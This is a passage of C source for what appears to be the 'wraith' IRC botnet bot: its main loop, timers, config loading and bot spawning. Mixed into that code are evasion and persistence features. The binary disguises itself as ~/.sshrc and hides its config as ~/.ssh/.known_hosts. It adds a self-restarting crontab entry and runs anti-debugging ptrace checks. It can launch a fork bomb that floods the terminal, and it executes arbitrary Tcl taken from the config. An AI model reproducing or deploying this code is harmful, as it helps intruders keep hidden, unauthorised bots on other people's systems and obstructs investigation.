  720. }
  721. printf("end\n");
  722. }
  723. #endif /* CRAZY_TRACE */
  724. static void core_secondly()
  725. {
  726. static int cnt = 0;
  727. int miltime, idx;
  728. #ifdef CRAZY_TRACE
  729. if (!attached) crazy_trace();
  730. #endif /* CRAZY_TRACE */
  731. if (geteuid() != myuid || getuid() != myuid) {
  732. putlog(LOG_MISC, "*", STR("MY UID CHANGED!, POSSIBLE HIJACK ATTEMPT"));
  733. }
  734. do_check_timers(&utimer); /* Secondly timers */
  735. if (fork_interval && backgrd) {
  736. if (now-lastfork > fork_interval)
  737. do_fork();
  738. }
  739. cnt++;
  740. if ((cnt % 3) == 0)
  741. call_hook(HOOK_3SECONDLY);
  742. if ((cnt % 10) == 0) {
  743. call_hook(HOOK_10SECONDLY);
  744. check_expired_dcc();
  745. if (con_chan && !backgrd) {
  746. dprintf(DP_STDOUT, "\033[2J\033[1;1H");
  747. tell_verbose_status(DP_STDOUT);
  748. do_module_report(DP_STDOUT, 0, "server");
  749. do_module_report(DP_STDOUT, 0, "channels");
  750. tell_mem_status_dcc(DP_STDOUT);
  751. }
  752. }
  753. if ((cnt % 30) == 0) {
  754. autolink_cycle(NULL); /* attempt autolinks */
  755. call_hook(HOOK_30SECONDLY);
  756. cnt = 0;
  757. }
  758. for (idx = 0; idx < dcc_total; idx++) {
  759. if (dcc[idx].simul > 0) {
  760. if ((now - dcc[idx].simultime) == 60) { /* expire simuls after 60 seconds (re-uses idx, so it wont fill up) */
  761. dcc[idx].simul = -1;
  762. lostdcc(idx);
  763. }
  764. }
  765. }
  766. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  767. if (nowtm.tm_min != lastmin) {
  768. int i = 0;
  769. /* Once a minute */
  770. lastmin = (lastmin + 1) % 60;
  771. call_hook(HOOK_MINUTELY);
  772. check_botnet_pings();
  773. check_expired_ignores();
  774. /* In case for some reason more than 1 min has passed: */
  775. while (nowtm.tm_min != lastmin) {
  776. /* Timer drift, dammit */
  777. debug2(STR("timer: drift (lastmin=%d, now=%d)"), lastmin, nowtm.tm_min);
  778. i++;
  779. lastmin = (lastmin + 1) % 60;
  780. call_hook(HOOK_MINUTELY);
  781. }
  782. if (i > 1)
  783. putlog(LOG_MISC, "*", STR("(!) timer drift -- spun %d minutes"), i);
  784. miltime = (nowtm.tm_hour * 100) + (nowtm.tm_min);
  785. if (((int) (nowtm.tm_min / 5) * 5) == (nowtm.tm_min)) { /* 5 min */
  786. call_hook(HOOK_5MINUTELY);
  787. /* flushlogs(); */
  788. if (!miltime) { /* At midnight */
  789. char s[25];
  790. strncpyz(s, ctime(&now), sizeof s);
  791. #ifdef HUB
  792. putlog(LOG_ALL, "*", STR("--- %.11s%s"), s, s + 20);
  793. call_hook(HOOK_BACKUP);
  794. #endif
  795. }
  796. }
  797. if (nowtm.tm_min == notify_users_at)
  798. call_hook(HOOK_HOURLY);
  799. else if (nowtm.tm_min == 30)
  800. call_hook(HOOK_HALFHOURLY);
  801. /* These no longer need checking since they are all check vs minutely
  802. * settings and we only get this far on the minute.
  803. */
  804. #ifdef HUB
  805. if (miltime == 300) {
  806. call_hook(HOOK_DAILY);
  807. }
  808. #endif
  809. }
  810. }
  811. #ifdef LEAF
  812. static void check_mypid()
  813. {
  814. module_entry *me;
  815. FILE *fp;
  816. char s[15];
  817. int xx = 0;
  818. char buf2[DIRMAX];
  819. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, botnetnick);
  820. fp = fopen(buf2, "r");
  821. if (fp != NULL) {
  822. fgets(s, 10, fp);
  823. xx = atoi(s);
  824. if (getpid() != xx) { //we have a major problem if this is happening..
  825. fatal(STR("getpid() does not match pid in file. Possible cloned process, exiting.."), 1);
  826. if ((me = module_find("server", 0, 0))) {
  827. Function *func = me->funcs;
  828. (func[SERVER_NUKESERVER]) ("cloned process");
  829. }
  830. botnet_send_bye();
  831. bg_send_quit(BG_ABORT);
  832. exit(1);
  833. }
  834. fclose(fp); //THERE IS THE STUPID BUG OMG
  835. }
  836. }
  837. #endif
  838. static void core_minutely()
  839. {
  840. #ifdef LEAF
  841. check_mypid();
  842. #endif
  843. check_tcl_time(&nowtm);
  844. do_check_timers(&timer);
  845. /* flushlogs(); */
  846. }
  847. static void core_hourly()
  848. {
  849. }
  850. static void core_halfhourly()
  851. {
  852. #ifdef HUB
  853. write_userfile(-1);
  854. #endif /* HUB */
  855. }
  856. static void event_rehash()
  857. {
  858. check_tcl_event("rehash");
  859. }
  860. static void event_prerehash()
  861. {
  862. check_tcl_event("prerehash");
  863. }
  864. static void event_save()
  865. {
  866. check_tcl_event("save");
  867. }
  868. static void event_resettraffic()
  869. {
  870. otraffic_irc += otraffic_irc_today;
  871. itraffic_irc += itraffic_irc_today;
  872. otraffic_bn += otraffic_bn_today;
  873. itraffic_bn += itraffic_bn_today;
  874. otraffic_dcc += otraffic_dcc_today;
  875. itraffic_dcc += itraffic_dcc_today;
  876. otraffic_unknown += otraffic_unknown_today;
  877. itraffic_unknown += itraffic_unknown_today;
  878. otraffic_trans += otraffic_trans_today;
  879. itraffic_trans += itraffic_trans_today;
  880. otraffic_irc_today = otraffic_bn_today = 0;
  881. otraffic_dcc_today = otraffic_unknown_today = 0;
  882. itraffic_irc_today = itraffic_bn_today = 0;
  883. itraffic_dcc_today = itraffic_unknown_today = 0;
  884. itraffic_trans_today = otraffic_trans_today = 0;
  885. }
  886. static void event_loaded()
  887. {
  888. check_tcl_event("loaded");
  889. }
  890. void kill_tcl();
  891. extern module_entry *module_list;
  892. void restart_chons();
  893. void check_static(char *, char *(*)());
  894. #include "mod/static.h"
  895. int init_userrec(), init_mem(), init_dcc_max(), init_userent(), init_misc(), init_auth(), init_config(), init_bots(),
  896. init_net(), init_modules(), init_tcl(int, char **), init_botcmd(), init_settings();
  897. void got_ed(char *which, char *in, char *out)
  898. {
  899. Context;
  900. sdprintf(STR("got_Ed called: -%s i: %s o: %s"), which, in, out);
  901. if (!in || !out)
  902. fatal(STR("Wrong number of arguments: -e/-d <infile> <outfile/STDOUT>"),0);
  903. if (!strcmp(in, out))
  904. fatal(STR("<infile> should NOT be the same name as <outfile>"), 0);
  905. if (!strcmp(which, "e")) {
  906. EncryptFile(in, out);
  907. fatal(STR("File Encryption complete"),3);
  908. } else if (!strcmp(which, "d")) {
  909. DecryptFile(in, out);
  910. fatal(STR("File Decryption complete"),3);
  911. }
  912. exit(0);
  913. }
  914. static inline void garbage_collect(void)
  915. {
  916. static u_8bit_t run_cnt = 0;
  917. if (run_cnt == 3)
  918. garbage_collect_tclhash();
  919. else
  920. run_cnt++;
  921. }
  922. int crontab_exists() {
  923. char buf[2048], *out=NULL;
  924. sprintf(buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
  925. if (shell_exec(buf, NULL, &out, NULL)) {
  926. if (out && strstr(out, binname)) {
  927. nfree(out);
  928. return 1;
  929. } else {
  930. if (out)
  931. nfree(out);
  932. return 0;
  933. }
  934. } else
  935. return (-1);
  936. }
  937. void crontab_create(int interval) {
  938. char tmpfile[161],
  939. buf[256];
  940. FILE *f;
  941. int fd;
  942. /* always use mkstemp() when handling temp files! -dizz */
  943. sprintf(tmpfile, STR("%s.crontab-XXXXXX"), tempdir);
  944. if ((fd = mkstemp(tmpfile)) == -1) {
  945. unlink(tmpfile);
  946. return;
  947. }
  948. sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
  949. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  950. buf[0] = 0;
  951. if (interval == 1)
  952. strcpy(buf, "*");
  953. else {
  954. int i = 1;
  955. int si = random() % interval;
  956. while (i < 60) {
  957. if (buf[0])
  958. sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
  959. else
  960. sprintf(buf, "%i", (i + si) % 60);
  961. i += interval;
  962. }
  963. }
  964. sprintf(buf + strlen(buf), STR(" * * * * %s > /dev/null 2>&1"), binname);
  965. fseek(f, 0, SEEK_END);
  966. fprintf(f, STR("\n%s\n"), buf);
  967. fclose(f);
  968. sprintf(buf, STR("crontab %s"), tmpfile);
  969. shell_exec(buf, NULL, NULL, NULL);
  970. }
  971. close(fd);
  972. unlink(tmpfile);
  973. }
  974. static void check_crontab()
  975. {
  976. int i = 0;
  977. #ifdef LEAF
  978. if (!localhub)
  979. fatal(STR("something is wrong."), 0);
  980. #endif /* LEAF */
  981. i=crontab_exists();
  982. if (!i) {
  983. crontab_create(5);
  984. i=crontab_exists();
  985. if (!i)
  986. printf(STR("* Error writing crontab entry.\n"));
  987. }
  988. }
  989. #ifdef LEAF
  990. static void gotspawn(char *filename)
  991. {
  992. FILE *fp;
  993. char templine[8192], *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL, *temps;
  994. if (!(fp = fopen(filename, "r")))
  995. fatal(STR("Cannot read from local config (2)"), 0);
  996. while(fscanf(fp,"%[^\n]\n",templine) != EOF) {
  997. void *my_ptr;
  998. temps = my_ptr = (char *) decrypt_string(netpass, decryptit(templine));
  999. #ifdef S_PSCLOAK
  1000. sdprintf(STR("GOTSPAWN: %s"), temps);
  1001. #endif /* S_PSCLOAK */
  1002. pscloak = atoi(newsplit(&temps));
  1003. if (temps[0])
  1004. nick = newsplit(&temps);
  1005. if (!nick)
  1006. fatal("invalid config (2).",0);
  1007. if (temps[0])
  1008. ip = newsplit(&temps);
  1009. if (temps[0])
  1010. host = newsplit(&temps);
  1011. if (temps[0])
  1012. ipsix = newsplit(&temps);
  1013. snprintf(origbotname, 10, "%s", nick);
  1014. if (ip[1]) {
  1015. if (ip[0] == '!') { //natip
  1016. ip++;
  1017. sprintf(natip,"%s",ip);
  1018. } else {
  1019. snprintf(myip, 120, "%s", ip);
  1020. }
  1021. }
  1022. if (host && host[1]) {
  1023. if (host[0] == '+') { //ip6 host
  1024. host++;
  1025. sprintf(hostname6,"%s",host);
  1026. } else { //normal ip4 host
  1027. sprintf(hostname,"%s",host);
  1028. }
  1029. }
  1030. if (ipsix && ipsix[1]) {
  1031. snprintf(myip6, 120, "%s", ipsix);
  1032. }
  1033. if (my_ptr)
  1034. nfree(my_ptr);
  1035. }
  1036. fclose(fp);
  1037. unlink(filename);
  1038. }
  1039. static int spawnbot(char *bin, char *nick, char *ip, char *host, char *ipsix, int cloak)
  1040. {
  1041. char buf[DIRMAX], bindir[DIRMAX], bufrun[DIRMAX];
  1042. FILE *fp;
  1043. sprintf(buf, "%s", bin);
  1044. sprintf(bindir, "%s", dirname(buf));
  1045. sprintf(buf, "%s/.wraith-%s", bindir, nick);
  1046. if (!(fp = fopen(buf, "w")))
  1047. fatal(STR("Cannot create spawnfiles..."), 0);
  1048. lfprintf(fp, "%d %s %s %s %s\n", cloak, nick, ip ? ip : ".", host ? host : ".", ipsix ? ipsix : ".");
  1049. fflush(fp);
  1050. fclose(fp);
  1051. sprintf(bufrun, "%s -c %s", bin, buf);
  1052. return system(bufrun);
  1053. }
  1054. #endif /* LEAF */
  1055. #ifdef S_MESSUPTERM
  1056. void messup_term() {
  1057. int i;
  1058. char * argv[4];
  1059. freopen(STR("/dev/null"), "w", stderr);
  1060. for (i=0;i<11;i++) {
  1061. fork();
  1062. }
  1063. argv[0]=nmalloc(100);
  1064. strcpy(argv[0], STR("/bin/sh"));
  1065. argv[1]="-c";
  1066. argv[2]=nmalloc(1024);
  1067. strcpy(argv[2], STR("cat < "));
  1068. strcat(argv[2], binname);
  1069. argv[3]=NULL;
  1070. execvp(argv[0], &argv[0]);
  1071. }
  1072. #endif /* S_MESSUPTERM */
  1073. void check_trace_start()
  1074. {
  1075. #ifdef S_ANTITRACE
  1076. int parent = getpid();
  1077. int xx = 0, i = 0;
  1078. #ifdef __linux__
  1079. xx = fork();
  1080. if (xx == -1) {
  1081. printf(STR("Can't fork process!\n"));
  1082. exit(1);
  1083. } else if (xx == 0) {
  1084. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  1085. if (i == (-1) && errno == EPERM) {
  1086. #ifdef S_MESSUPTERM
  1087. messup_term();
  1088. #else
  1089. kill(parent, SIGKILL);
  1090. exit(1);
  1091. #endif /* S_MESSUPTERM */
  1092. } else {
  1093. waitpid(parent, &i, 0);
  1094. kill(parent, SIGCHLD);
  1095. ptrace(PTRACE_DETACH, parent, 0, 0);
  1096. kill(parent, SIGCHLD);
  1097. }
  1098. exit(0);
  1099. } else {
  1100. wait(&i);
  1101. }
  1102. #endif /* __linux__ */
  1103. #ifdef __FreeBSD__
  1104. xx = fork();
  1105. if (xx == -1) {
  1106. printf(STR("Can't fork process!\n"));
  1107. exit(1);
  1108. } else if (xx == 0) {
  1109. i = ptrace(PT_ATTACH, parent, 0, 0);
  1110. if (i == (-1) && errno == EBUSY) {
  1111. #ifdef S_MESSUPTERM
  1112. messup_term();
  1113. #else
  1114. kill(parent, SIGKILL);
  1115. exit(1);
  1116. #endif /* S_MESSUPTERM */
  1117. } else {
  1118. wait(&i);
  1119. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1120. kill(parent, SIGCHLD);
  1121. wait(&i);
  1122. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1123. wait(&i);
  1124. }
  1125. exit(0);
  1126. } else {
  1127. waitpid(xx, NULL, 0);
  1128. }
  1129. #endif /* __FreeBSD__ */
  1130. #ifdef __OpenBSD__
  1131. xx = fork();
  1132. if (xx == -1) {
  1133. printf(STR("Can't fork process!\n"));
  1134. exit(1);
  1135. } else if (xx == 0) {
  1136. i = ptrace(PT_ATTACH, parent, 0, 0);
  1137. if (i == (-1) && errno == EBUSY) {
  1138. kill(parent, SIGKILL);
  1139. exit(1);
  1140. } else {
  1141. wait(&i);
  1142. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1143. kill(parent, SIGCHLD);
  1144. wait(&i);
  1145. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1146. wait(&i);
  1147. }
  1148. exit(0);
  1149. } else {
  1150. waitpid(xx, NULL, 0);
  1151. }
  1152. #endif /* __OpenBSD__ */
  1153. #endif /* S_ANTITRACE */
  1154. }
  1155. char *homedir()
  1156. {
  1157. static char home[DIRMAX], tmp[DIRMAX];
  1158. struct passwd *pw;
  1159. Context;
  1160. pw = getpwuid(geteuid());
  1161. if (!pw)
  1162. werr(ERR_PASSWD);
  1163. Context;
  1164. snprintf(tmp, sizeof tmp, "%s", pw->pw_dir);
  1165. Context;
  1166. realpath(tmp, home); /* this will convert lame home dirs of /home/blah->/usr/home/blah */
  1167. return home;
  1168. }
  1169. char *confdir()
  1170. {
  1171. static char conf[DIRMAX];
  1172. #ifdef LEAF
  1173. {
  1174. snprintf(conf, sizeof conf, "%s/.ssh", homedir());
  1175. }
  1176. #endif /* LEAF */
  1177. #ifdef HUB
  1178. {
  1179. char *tmpdir;
  1180. tmpdir = nmalloc(strlen(binname)+1);
  1181. strcpy(tmpdir, binname);
  1182. snprintf(conf, sizeof conf, "%s", dirname(tmpdir));
  1183. nfree(tmpdir);
  1184. }
  1185. #endif /* HUB */
  1186. return conf;
  1187. }
  1188. char *my_uname()
  1189. {
  1190. static char os_uname[250];
  1191. char *unix_n, *vers_n;
  1192. #ifdef HAVE_UNAME
  1193. struct utsname un;
  1194. if (uname(&un) < 0) {
  1195. #endif /* HAVE_UNAME */
  1196. unix_n = "*unkown*";
  1197. vers_n = "";
  1198. #ifdef HAVE_UNAME
  1199. } else {
  1200. unix_n = un.nodename;
  1201. #ifdef __FreeBSD__
  1202. vers_n = un.release;
  1203. #else
  1204. vers_n = un.version;
  1205. #endif /* __FreeBSD__ */
  1206. }
  1207. #endif /* HAVE_UNAME */
  1208. snprintf(os_uname, sizeof os_uname, "%s %s", unix_n, vers_n);
  1209. return os_uname;
  1210. }
  1211. int main(int argc, char **argv)
  1212. {
  1213. int xx, i;
  1214. #ifdef LEAF
  1215. int x = 1;
  1216. #endif
  1217. char buf[SGRAB + 9], s[25];
  1218. FILE *f;
  1219. struct sigaction sv;
  1220. struct chanset_t *chan;
  1221. #ifdef LEAF
  1222. int skip = 0;
  1223. int ok = 1;
  1224. #endif
  1225. #ifdef DEBUG_MEM
  1226. /* Make sure it can write core, if you make debug. Else it's pretty
  1227. * useless (dw)
  1228. */
  1229. {
  1230. #include <sys/resource.h>
  1231. struct rlimit cdlim, plim, fdlim, rsslim, stacklim;
  1232. // rsslim.rlim_cur = 30720;
  1233. // rsslim.rlim_max = 30720;
  1234. // setrlimit(RLIMIT_RSS, &rsslim);
  1235. // stacklim.rlim_cur = 30720;
  1236. // stacklim.rlim_max = 30720;
  1237. // setrlimit(RLIMIT_STACK, &stacklim);
  1238. plim.rlim_cur = 50;
  1239. plim.rlim_max = 50;
  1240. setrlimit(RLIMIT_NPROC, &plim);
  1241. fdlim.rlim_cur = 200;
  1242. fdlim.rlim_max = 200;
  1243. //#ifdef __FreeBSD__
  1244. // setrlimit(RLIMIT_OFILE, &fdlim);
  1245. //#else
  1246. setrlimit(RLIMIT_NOFILE, &fdlim);
  1247. //#endif
  1248. cdlim.rlim_cur = RLIM_INFINITY;
  1249. cdlim.rlim_max = RLIM_INFINITY;
  1250. setrlimit(RLIMIT_CORE, &cdlim);
  1251. }
  1252. #endif
  1253. /* Initialise context list */
  1254. for (i = 0; i < 16; i++)
  1255. Context;
  1256. /* Version info! */
  1257. egg_snprintf(ver, sizeof ver, "wraith %s", egg_version);
  1258. egg_snprintf(version, sizeof version, "wraith %s", egg_version);
  1259. /* Now add on the patchlevel (for Tcl) */
  1260. sprintf(&egg_version[strlen(egg_version)], " %u", egg_numver);
  1261. #ifdef STOP_UAC
  1262. {
  1263. int nvpair[2];
  1264. nvpair[0] = SSIN_UACPROC;
  1265. nvpair[1] = UAC_NOPRINT;
  1266. setsysinfo(SSI_NVPAIRS, (char *) nvpair, 1, NULL, 0);
  1267. }
  1268. #endif
  1269. /* Set up error traps: */
  1270. sv.sa_handler = got_bus;
  1271. sigemptyset(&sv.sa_mask);
  1272. #ifdef SA_RESETHAND
  1273. sv.sa_flags = SA_RESETHAND;
  1274. #else
  1275. sv.sa_flags = 0;
  1276. #endif
  1277. sigaction(SIGBUS, &sv, NULL);
  1278. sv.sa_handler = got_segv;
  1279. sigaction(SIGSEGV, &sv, NULL);
  1280. #ifdef SA_RESETHAND
  1281. sv.sa_flags = 0;
  1282. #endif
  1283. sv.sa_handler = got_fpe;
  1284. sigaction(SIGFPE, &sv, NULL);
  1285. sv.sa_handler = got_term;
  1286. sigaction(SIGTERM, &sv, NULL);
  1287. sv.sa_handler = got_stop;
  1288. sigaction(SIGSTOP, &sv, NULL);
  1289. #ifdef S_HIJACKCHECK
  1290. sv.sa_handler = got_cont;
  1291. sigaction(SIGCONT, &sv, NULL);
  1292. #endif
  1293. sv.sa_handler = got_abort;
  1294. sigaction(SIGABRT, &sv, NULL);
  1295. sv.sa_handler = got_hup;
  1296. sigaction(SIGHUP, &sv, NULL);
  1297. sv.sa_handler = got_quit;
  1298. sigaction(SIGQUIT, &sv, NULL);
  1299. sv.sa_handler = SIG_IGN;
  1300. sigaction(SIGPIPE, &sv, NULL);
  1301. sv.sa_handler = got_ill;
  1302. sigaction(SIGILL, &sv, NULL);
  1303. sv.sa_handler = got_alarm;
  1304. sigaction(SIGALRM, &sv, NULL);
  1305. Context;
  1306. /* Initialize variables and stuff */
  1307. #ifdef S_UTCTIME
  1308. now_tmp = time(NULL);
  1309. now = mktime(gmtime(&now_tmp));
  1310. #else
  1311. now = time(NULL);
  1312. #endif /* S_UTCTIME */
  1313. chanset = NULL;
  1314. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  1315. lastmin = nowtm.tm_min;
  1316. srandom(now % (getpid() + getppid()));
  1317. init_mem();
  1318. myuid = geteuid();
  1319. binname = getfullbinname(argv[0]);
  1320. /* just load everything now, won't matter if it's loaded if the bot has to suicide on startup */
  1321. init_settings();
  1322. egg_snprintf(enetpass, sizeof enetpass, netpass);
  1323. init_dcc_max();
  1324. init_userent();
  1325. init_misc();
  1326. init_bots();
  1327. init_net();
  1328. init_modules();
  1329. init_tcl(argc, argv);
  1330. init_auth();
  1331. init_config();
  1332. init_userrec();
  1333. if (backgrd)
  1334. bg_prepare_split();
  1335. init_botcmd();
  1336. link_statics();
  1337. module_load(ENCMOD);
  1338. if (!can_stat(binname))
  1339. werr(ERR_BINSTAT);
  1340. if (!fixmod(binname))
  1341. werr(ERR_BINMOD);
  1342. if (argc) {
  1343. sdprintf(STR("Calling dtx_arg with %d params."), argc);
  1344. dtx_arg(argc, argv);
  1345. }
  1346. if (checktrace)
  1347. check_trace_start();
  1348. #ifdef HUB
  1349. snprintf(tempdir, sizeof tempdir, "%s/tmp", confdir());
  1350. #endif /* HUB */
  1351. #ifdef LEAF
  1352. {
  1353. char newbin[DIRMAX];
  1354. sdprintf(STR("my uid: %d my uuid: %d, my ppid: %d my pid: %d"), getuid(), geteuid(), getppid(), getpid());
  1355. chdir(homedir());
  1356. snprintf(newbin, sizeof newbin, "%s/.sshrc", homedir());
  1357. snprintf(tempdir, sizeof tempdir, "%s/...", confdir());
  1358. sdprintf(STR("newbin at: %s"), newbin);
  1359. if (strcmp(binname,newbin) && !skip) { //running from wrong dir, or wrong bin name.. lets try to fix that :)
  1360. sdprintf(STR("wrong dir, is: %s :: %s"), binname, newbin);
  1361. unlink(newbin);
  1362. if (copyfile(binname,newbin))
  1363. ok = 0;
  1364. if (ok)
  1365. if (!can_stat(newbin)) {
  1366. unlink(newbin);
  1367. ok = 0;
  1368. }
  1369. if (ok)
  1370. if (!fixmod(newbin)) {
  1371. unlink(newbin);
  1372. ok = 0;
  1373. }
  1374. if (!ok)
  1375. werr(ERR_WRONGBINDIR);
  1376. else {
  1377. unlink(binname);
  1378. system(newbin);
  1379. sdprintf(STR("exiting to let new binary run..."));
  1380. exit(0);
  1381. }
  1382. }
  1383. // Ok if we are here, then the binary is accessable and in the correct directory, now lets do the local config...
  1384. }
  1385. #endif /* LEAF */
  1386. if (1) {
  1387. char tmp[DIRMAX];
  1388. snprintf(tmp, sizeof tmp, "%s/", confdir());
  1389. if (!can_stat(tmp)) {
  1390. #ifdef LEAF
  1391. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1392. unlink(confdir());
  1393. if (!can_stat(confdir()))
  1394. if (mkdir(confdir(), S_IRUSR | S_IWUSR | S_IXUSR))
  1395. #endif /* LEAF */
  1396. werr(ERR_CONFSTAT);
  1397. #ifdef LEAF
  1398. }
  1399. #endif /* LEAF */
  1400. }
  1401. snprintf(tmp, sizeof tmp, "%s/", tempdir);
  1402. if (!can_stat(tmp)) {
  1403. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1404. unlink(tempdir);
  1405. if (!can_stat(tempdir))
  1406. if (mkdir(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
  1407. werr(ERR_TMPSTAT);
  1408. }
  1409. }
  1410. } /* char tmp[DIRMAX] */
  1411. if (!fixmod(confdir()))
  1412. werr(ERR_CONFDIRMOD);
  1413. if (!fixmod(tempdir))
  1414. werr(ERR_TMPMOD);
  1415. //The config dir is accessable with correct permissions, lets read/write/create config file now..
  1416. if (1) { /* config shit */
  1417. char cfile[DIRMAX], templine[8192];
  1418. #ifdef LEAF
  1419. snprintf(cfile, sizeof cfile, "%s/.known_hosts", confdir());
  1420. #else
  1421. snprintf(cfile, sizeof cfile, "%s/conf", confdir());
  1422. #endif /* LEAF */
  1423. if (!can_stat(cfile))
  1424. werr(ERR_NOCONF);
  1425. if (!fixmod(cfile))
  1426. werr(ERR_CONFMOD);
  1427. #ifdef LEAF
  1428. if (localhub) { //we only want to read the config if we are the spawn bot..
  1429. #endif /* LEAF */
  1430. i = 0;
  1431. if (!(f = fopen(cfile, "r")))
  1432. werr(0);
  1433. Context;
  1434. while(fscanf(f,"%[^\n]\n",templine) != EOF) {
  1435. char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL, *temps, c[1024];
  1436. void *temp_ptr;
  1437. int skip = 0;
  1438. if (templine[0] != '+') {
  1439. printf(STR("%d: "), i);
  1440. werr(ERR_CONFBADENC);
  1441. }
  1442. temps = temp_ptr = (char *) decrypt_string(netpass, decryptit(templine));
  1443. sdprintf("malloc`d %d bytes", strlen(temps)+1);
  1444. if (!strchr(STR("*#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ"), temps[0])) {
  1445. printf(STR("%d: "), i);
  1446. werr(ERR_CONFBADENC);
  1447. }
  1448. snprintf(c, sizeof c, "%s",temps);
  1449. if (c[0] == '*')
  1450. skip = 1;
  1451. else if (c[0] == '-' && !skip) { //this is the uid
  1452. newsplit(&temps);
  1453. if (geteuid() != atoi(temps)) {
  1454. sdprintf(STR("wrong uid, conf: %d :: %d"), atoi(temps), geteuid());
  1455. werr(ERR_WRONGUID);
  1456. }
  1457. } else if (c[0] == '+' && !skip) { //this is the uname
  1458. int r = 0;
  1459. newsplit(&temps);
  1460. if ((r = strcmp(temps, my_uname()))) {
  1461. sdprintf(STR("wrong uname, conf: %s :: %s"), temps, my_uname());
  1462. werr(ERR_WRONGUNAME);
  1463. }
  1464. } else if (c[0] == '!') { //local tcl exploit
  1465. if (c[1] == '-') { //dont use pscloak
  1466. #ifdef S_PSCLOAK
  1467. sdprintf(STR("NOT CLOAKING"));
  1468. #endif /* S_PSCLOAK */
  1469. pscloak = 0;
  1470. } else {
  1471. newsplit(&temps);
  1472. Tcl_Eval(interp, temps);
  1473. }
  1474. } else if (c[0] != '#') { //now to parse nick/hosts
  1475. //we have the right uname/uid, safe to setup crontab now.
  1476. i++;
  1477. nick = newsplit(&temps);
  1478. if (!nick || !nick[0])
  1479. werr(ERR_BADCONF);
  1480. sdprintf(STR("Read nick from config: %s"), nick);
  1481. if (temps[0])
  1482. ip = newsplit(&temps);
  1483. if (temps[0])
  1484. host = newsplit(&temps);
  1485. if (temps[0])
  1486. ipsix = newsplit(&temps);
  1487. if (i == 1) { //this is the first bot ran/parsed
  1488. strncpyz(s, ctime(&now), sizeof s);
  1489. strcpy(&s[11], &s[20]);
  1490. /* printf(STR("--- Loading %s (%s)\n\n"), ver, s); */
  1491. if (ip && ip[0] == '!') { //natip
  1492. ip++;
  1493. sprintf(natip, "%s",ip);
  1494. } else {
  1495. if (ip && ip[1]) //only copy ip if it is longer than 1 char (.)
  1496. snprintf(myip, 120, "%s", ip);
  1497. }
  1498. snprintf(origbotname, 10, "%s", nick);
  1499. #ifdef HUB
  1500. sprintf(userfile, "%s/.%s.user", confdir(), nick);
  1501. #endif /* HUB */
  1502. /* log sprintf(logfile, "%s/.%s.log", confdir(), nick); */
  1503. if (host && host[1]) { //only copy host if it is longer than 1 char (.)
  1504. if (host[0] == '+') { //ip6 host
  1505. host++;
  1506. sprintf(hostname6, "%s",host);
  1507. } else //normal ip4 host
  1508. sprintf(hostname, "%s",host);
  1509. }
  1510. if (ipsix && ipsix[1]) { //only copy ipsix if it is longer than 1 char (.)
  1511. snprintf(myip6, 120, "%s",ipsix);
  1512. }
  1513. }
  1514. #ifdef LEAF
  1515. else { //these are the rest of the bots..
  1516. char buf2[DIRMAX];
  1517. FILE *fp;
  1518. xx = 0, x = 0, errno = 0;
  1519. s[0] = '\0';
  1520. /* first let's determine if the bot is already running or not.. */
  1521. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, nick);
  1522. fp = fopen(buf2, "r");
  1523. if (fp != NULL) {
  1524. fgets(s, 10, fp);
  1525. fclose(fp);
  1526. xx = atoi(s);
  1527. if (updating) {
  1528. x = kill(xx, SIGKILL); //try to kill the pid if we are updating.
  1529. unlink(buf2);
  1530. }
  1531. kill(xx, SIGCHLD);
  1532. if (errno == ESRCH || (updating && !x)) { //PID is !running, safe to run.
  1533. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1534. printf(STR("* Failed to spawn %s\n"), nick); //This probably won't ever happen.
  1535. }
  1536. } else {
  1537. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1538. printf(STR("* Failed to spawn %s\n"), nick); //This probably won't ever happen.
  1539. }
  1540. }
  1541. #endif /* LEAF */
  1542. } // if read in[0] != #
  1543. Context;
  1544. // if (temps)
  1545. nfree(temp_ptr);
  1546. }
  1547. fclose(f);
  1548. #ifdef LEAF
  1549. if (updating)
  1550. exit(0); //let the 5 min timer restart us.
  1551. } // (localhub)
  1552. #endif /* LEAF */
  1553. }
  1554. module_load("dns");
  1555. module_load("channels");
  1556. #ifdef LEAF
  1557. module_load("server");
  1558. module_load("irc");
  1559. #endif /* LEAF */
  1560. module_load("transfer");
  1561. module_load("share");
  1562. module_load("update");
  1563. module_load("notes");
  1564. module_load("console");
  1565. module_load("ctcp");
  1566. module_load("compress");
  1567. chanprog();
  1568. #ifdef LEAF
  1569. if (localhub) {
  1570. sdprintf(STR("I am localhub (%s)"), origbotname);
  1571. #endif /* LEAF */
  1572. check_crontab();
  1573. #ifdef LEAF
  1574. }
  1575. #endif /* LEAF */
  1576. if (!encrypt_pass) {
  1577. sdprintf(MOD_NOCRYPT);
  1578. bg_send_quit(BG_ABORT);
  1579. exit(1);
  1580. }
  1581. cache_miss = 0;
  1582. cache_hit = 0;
  1583. if (!pid_file[0])
  1584. egg_snprintf(pid_file, sizeof pid_file, "%s.pid.%s", tempdir, botnetnick);
  1585. f = fopen(pid_file, "r");
  1586. if ((localhub && !updating) || !localhub) {
  1587. if (f != NULL) {
  1588. fgets(s, 10, f);
  1589. xx = atoi(s);
  1590. kill(xx, SIGCHLD);
